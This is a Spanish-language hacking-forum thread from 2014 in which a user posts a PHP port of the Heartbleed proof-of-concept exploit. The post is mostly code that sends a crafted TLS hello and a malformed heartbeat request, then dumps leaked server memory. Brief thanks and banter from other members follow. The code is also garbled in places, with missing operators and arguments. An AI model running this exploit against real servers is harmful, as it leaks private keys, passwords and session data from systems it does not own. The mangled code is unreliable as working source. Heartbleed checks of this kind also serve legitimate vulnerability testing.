Underc0de

[In]Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: Zerquix18 en Noviembre 16, 2014, 06:19:43 PM

Título: Explotar Heartbleed con PHP
Publicado por: Zerquix18 en Noviembre 16, 2014, 06:19:43 PM
(http://cnet4.cbsistatic.com/hub/i/r/2014/04/09/0f45dcc2-00fe-4080-91ac-a5afccdf6da1/resize/770x578/0f14a2be9f681c0dfc6034f126200034/heartbleed-over-web-address-770w.png)

Hey, soy nuevo acá y me gustaría mostrarles algo que hice unos meses atrás con la vulnerabilidad de Heartbleed, traduciendo el exploit de Heartbleed (ssltest.py) de Python a PHP  ;D

Código (php) [Seleccionar]
<?php
/**
* Heartbleed POC
*
* @author Zerquix18
*
* @link http://github.com/zerquix18/heartbleed
*
* NOTE: This is the translation of ssltest.py from python to PHP
* Don't be evil...
**/
echo "--------PHP Heartbleed POC ---------------\n\n";
ob_start();
if( 
== $argc )
exit(
"Usage: \"php ssltest.php url.com 443\"\n");
array_shift($argv);
$data = array(
$argv[0],
array_key_exists(1$argv) && is_numeric($argv[1]) ? $argv[1] : 443
);
if( 
false == ($s socket_create(AF_INETSOCK_STREAMSOL_TCP) ) )
exit(
"Unable to create socket!");
function 
h2bin$x ) {
$x str_replace( array(" ""\n"), ""$x);
return 
hex2bin($x);
}
$hello h2bin("16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01"
);
$hb h2bin("18 03 02 00 03
01 40 00"
);
/**
*
* Thanks: http://stackoverflow.com/a/4225813/1932946
**/
function hexdump($data) {
static 
$width 16;
static 
$pad '.';
static 
$from '';
static 
$to '';
if (
$from==='')
{
for (
$i=0$i<=0xFF$i++)
{
$from .= chr($i);
$to .= ($i >= 0x20 && $i <= 0x7E) ? chr($i) : $pad;
}
}
$hex str_split(bin2hex($data), $width*2);
$chars str_split(strtr($data$from$to), $width);
$offset 0;
foreach (
$hex as $i => $line) {
echo 
sprintf('%6X',$offset).' : '.implode(' 'str_split($line,2)) . ' [' $chars[$i] . "]\n";
$offset += $width;
}
}
function 
recvall($length$timeout 5) {
global 
$s;
$endtime time() + $timeout;
$rdata "";
$remain $length;
while(
$remain 0) {
$rtime $endtime $timeout;
if( 
$rtime )
return 
null;
$e NULL;
$r = array($s);
@
socket_select$r$w$e5);
if( 
in_array($s$r) ) {
$d = @socket_recv($s$data$remain);
if( 
false == $data )
return 
null;
$rdata .= $data;
$remain -= strlen($data);
}
}
return 
$rdata;
}
function 
recvmsg() {
global 
$s;
$hdr recvall(5);
if( 
null === $hdr ):
echo 
"Unexpected EOF receiving record header - server closed connection\n";
return array(
nullnullnull);
endif;
list(
$typ$ver$ln) = array_valuesunpack("Cn/n/nC"$hdr) );
$pay recvall($ln10);
if( 
null === $pay ) {
echo 
"Unexpected EOF receiving record payload - server closed connection\n";
return array(
nullnullnull);
}
printf(" ... received message: type = %d, ver = %04x, length = %d\n"$typ$verstrlen($pay) );
return array(
$typ$ver$pay);
}
function 
hit_hb() {
global 
$hb$s;
socket_send($s$hbstrlen($hb), 0);
while( 
true ) {
list(
$typ$ver$pay) = recvmsg();
if( 
null === $typ )
exit(
'No heartbeat response received, server likely not vulnerable');
if( 
24 == $typ ){
echo 
"Received heartbeat response:\n";
hexdump($pay);
if( 
strlen($pay) > )
echo 
'WARNING: server returned more data than it should - server is vulnerable!';
else
echo 
'Server processed malformed heartbeat, but did not return any extra data.';
return 
true;
}
if( 
21 == $typ ) {
echo 
"Received alert:\n";
hexdump($pay);
echo 
'Server returned error, likely not vulnerable';
return 
false;
}
}
}
echo 
"Connecting to socket...\n";
$s_ socket_connect$s$data[0], (int) $data[1] );
if( ! 
$s )
exit(
"Error ["socket_last_error() . "]: " socket_strerrorsocket_last_error() ) . "\n" );
echo 
"Sending client hello...\n";
@
socket_send($s$hellostrlen($hello), );
ob_flush();
while( 
true ) {
list(
$typ$ver$pay) = recvmsg();
if( 
null == $typ )
exit(
"Server closed conection without sending hello!\n");
if( 
22 == $typ && ord($pay[0]) == 0x0E )
break;
}
echo 
"Sending heartbeat request...\n";
ob_flush();
@
socket_send($s$hbstrlen($hb), 0);
hit_hb();


Lo pueden ver acá: https://github.com/Zerquix18/heartbleed/blob/master/ssltest.php (https://github.com/Zerquix18/heartbleed/blob/master/ssltest.php)

Si encuentran algún error, dejen una issue o si pueden repararlo envíen una pull request. :)!
Título: Re:Explotar Heartbleed con PHP
Publicado por: Y3K en Noviembre 16, 2014, 08:49:02 PM
Anda, ésto sí está muy bueno. Revisaré el código para ver cómo trabaja.

Gracias por el aporte.
Título: Re:Explotar Heartbleed con PHP
Publicado por: ANTRAX en Noviembre 16, 2014, 08:54:00 PM
Excelente aporte Zerquix18!!
Título: Re:Explotar Heartbleed con PHP
Publicado por: Shell Shock en Noviembre 17, 2014, 02:23:59 PM
Anda mano aun no se mucho de python pero cuando leo o escucho Explotar Heartbleed me vuelve loco...jiji gracias por el aporte lo estare revisando..
Título: Re:Explotar Heartbleed con PHP
Publicado por: Y3K en Noviembre 17, 2014, 03:45:59 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Anda mano aun no se mucho de python pero cuando leo o escucho Explotar Heartbleed me vuelve loco...jiji gracias por el aporte lo estare revisando..
Hombre, pero si eso no es ni remotamente cercano a Python :/
Título: Re:Explotar Heartbleed con PHP
Publicado por: kid_goth en Noviembre 24, 2014, 12:08:49 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Anda mano aun no se mucho de python pero cuando leo o escucho Explotar Heartbleed me vuelve loco...jiji gracias por el aporte lo estare revisando..
Hombre, pero si eso no es ni remotamente cercano a Python :/

Al menos PERL se aceptaba xD :3 naaa a revisar también que da curiosidad el como trabaja
Título: Re:Explotar Heartbleed con PHP
Publicado por: d4rks666 en Diciembre 12, 2014, 07:32:38 PM
interesante. gracias por el aporte =D